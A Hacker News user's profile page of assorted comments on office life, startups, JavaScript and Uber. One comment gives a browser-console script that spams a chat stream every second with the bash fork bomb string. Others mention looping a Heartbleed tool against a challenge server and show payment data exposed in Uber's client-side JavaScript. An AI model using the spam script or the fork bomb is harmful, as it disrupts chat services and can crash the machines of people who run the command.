HN user

chadillac

329 karma
Posts11
Comments91
View on HN

At one point a company I worked for had a similar setup and we did much the same thing. Our office basically turned into a small dorm room (we were all in our early 20's at the time) kind of like you see on the show Workaholics. We had posters, jokes, a whiteboard covered in notes and stupid drawings, we even had themed playlist days where we'd come up with what genre or theme of music we'd have playing... 90's day, it's a cover song day, you're embarrassed you like it day, ska all the things day, etc... It was one of my favorite times/jobs I've had because of that atmosphere, we all learned a ton and collaborated on each other projects and spent way more time at work without even thinking about it. We ended hiring more devs and moving to an open office environment and everything changed, we all were still clustered together, but collaboration slowly faded away, where we used to turn around and talk to one another we now communicated over IM even though we sat less than 10 feet away, partly because an open office means everyone is interrupted as soon as you talk, make noise, play music, etc.

I always just through it was the growing company that lead to the change, but now that you mentioned your experience and I reflect on mine, I think that little 3 man shared off might have been the key to all of the awesomeness and fond memories of my time with that company.

For the doubters, here is a working PoC... works in Chrome.

  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);
  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);
^== go into a stream in Chrome, paste that into your JS console...success.

I LIVE IN A SIMPLE WORLD

What Makes Uber Run 11 years ago

If only I'd known sooner, now I'm just over here with a bunch of computer and development knowledge... I should have just studied money.

What Makes Uber Run 11 years ago

What, you don't have all night jam sessions at your 3 bedroom house in San Fran? Just picking yourself up by your bootstraps, struggling to make it, in your 3 bedroom house in San Fran. You know, down in the much and the mire, busting out LoC tirelessly while worrying about how you're gonna keep the lights on, in your 3 bedroom house in San Fran...

This reminds me when I asked a person who is now a "worlds youngest self made billionaire" club member how they possibly built paid their bills while in the early phases of their startup, that time when you're too small to even consider funding, but big enough to warrant a couple hires to help lay a foundation. The reply, "Ha! [founder's name]'s family is loaded...".

That's when I realized I had worked on the underlying skills, I had ideas, but I missed the most important part... money and/or rich friends.

You'll enjoy this. I know in some larger cities, this is a pretty common thing. In South Florida you'll wander into a pirate radio station pretty often, usually identifiable by it's lack of censorship, poor broadcast quality, and incessant rambling of the host over the music about every 10 seconds.

http://www.vice.com/video/pirate-radio

Plot twist, even CR48s can run Arch and other light variants of Linux, with an i7 and 16GB of RAM, I have no doubt these will be capable as well.

Now, about that price point...

Cool-retro-term 11 years ago

I bought a "decommissioned" Sony Trinitron monitor for $200 from a company I worked at at the time. It was 27" flat screen, and glorious, was amazing for gaming and counter-strike.

Now, carrying it up 3 flights of stairs on the other hand almost made the cheap price not worth it. That thing must have weighed 50lbs.

This highlights the importance of a second and third opinion as well.

As the joke goes, "what do you call the guy that graduated last in his class at medical school? Doctor."

Doctor's aren't machines, they're more like mechanics, they see a symptom, use their knowledge to make an educated guess essentially, and then work from there. If their knowledge is soft it's likely an incorrect diagnoses could just be exacerbated by incorrect treatment.

Get another opinion, and then another, the next problem is deciding on siding with consensus or outlier.

Biggest expenses AND biggest liabilities.

If I could take a self driving Uber/Lyft/taxi I would do it in a heart beat, my experiences with Uber/Lyft have been much better than a run of the mill taxi which is why I tend to use them over taxis whenever possible. That being said, a self driving car with no personal motives, road rage, cell phone, etc. sounds like an even better experience.

I wish people would just realize that JavaScript isn't going anywhere and make the effort to understand it instead of trying to gloss over the quirks of it.

Understanding the key parts of writing JS (closures, scope, GC, etc.) isn't all that hard and it seems like more efforts are geared towards an abstraction layer and/or framework than just learning the language in the first place.

I think it's syntax and familiar looking and feeling environment cheerfully misleads people into thinking they are in a comfort zone, while they thrash around throwing sand in their own eyes, albeit with a familiar looking bucket and shovel.

Yikes...

     >window.Uber.pingData.client.paymentProfiles

     [
     Object
     cardExpiration: "2014-03-01T00:00:00+00:00"
     cardExpirationEpoch: 1393632000000
     cardNumber: "[last 4]"
     cardType: "MasterCard"
     id: [payment id]
     useCase: "personal"
     uuid: "[uuid of payment option from their system]"
     __proto__: Object
     ,
     Object
     accountName: "[acct number]"
     billingCountryIso2: "US"
     billingZip: "[billing zip]"
     cardExpiration: "2017-09-01T00:00:00+00:00"
     cardExpirationEpoch: 1504224000000
     cardNumber: "[last 4]"
     cardType: "Visa"
     id: [payment id]
     tokenType: "braintree"
     useCase: "personal"
     uuid: "[uuid of payment option from their system]"
     __proto__: Object
     ]
Hello, Stranger 12 years ago

Social engineering uses this a lot. It's rare and catches people of guard when a stranger strikes up a conversation and positioning yourself as friendly and attentive about listening and putting the emphasis on the stranger and not yourself can really open a lot of doors. Compliments, reiterating the persons information but leaving it open ended allowing them room to elaborate, etc. People love talking about themselves and they love people that make it easy for them to do.

If you haven't already read Dale Carnigie's "How to win friends and influence people" that book literally changed the way I communicate with people.

+1 for CODE, I can't recommend that book enough to... and when you start talking about Morris code, telegrams, braille, OHMs, and binary math as your build up... well, it really just connects a lot of mental dots.

That was my plan of attack, I left my machine at home sniffing, wonder if I caught it.

Had bleed running in a while loop with no sleep and ab running on a loop as well sending connections to the server hoping to get the mem jostled around enough to cause something like that you described.

I was unsuccessful as of 9:30AM... now I'm really curious to get home and see if I actually caught it... even though I already missed the $10k boat :(